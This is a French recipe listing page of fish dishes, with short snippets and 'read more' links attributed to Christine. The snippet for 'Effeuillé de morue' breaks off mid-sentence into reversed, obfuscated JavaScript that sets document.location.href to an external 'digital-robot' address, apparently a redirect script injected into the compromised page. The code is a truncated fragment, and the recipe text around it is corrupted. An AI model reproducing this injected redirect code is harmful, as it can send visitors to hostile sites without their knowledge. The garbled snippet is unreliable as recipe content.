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Grondins au beurre d’anchois
Videz, rincez, salez et poivrez, extérieur et intérieur les grondins. Mélangez le thym avec les ...
Christine Lire la suiteTartare de dorade avec des courgettes
Pelez et coupez les courgettes en fines lamelles, faites-les blanchir 2 minutes dans de l’eau ...
Christine Lire la suiteCivet de thon frais
Salez, poivrez le morceau de thon, ficelez en rôti. Faites-le revenir dans l’huile d’olive, sur ...
Christine Lire la suiteEffeuillé de morue
Enlevez l’excédent de sel des filets de morue en les frottant à l’aide d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...
Christine Lire la suiteGrillade de thon rouge aux herbes de Provence
Répartissez généreusement sur la darne de thon, d’herbes de Provence, salez, poivrez .Faites la griller ...
Christine Lire la suiteQueue de cabillaud au beurre anisé
Déposez la queue de cabillaud dans un plat allant au four, salez, poivrez, arrosez de ...
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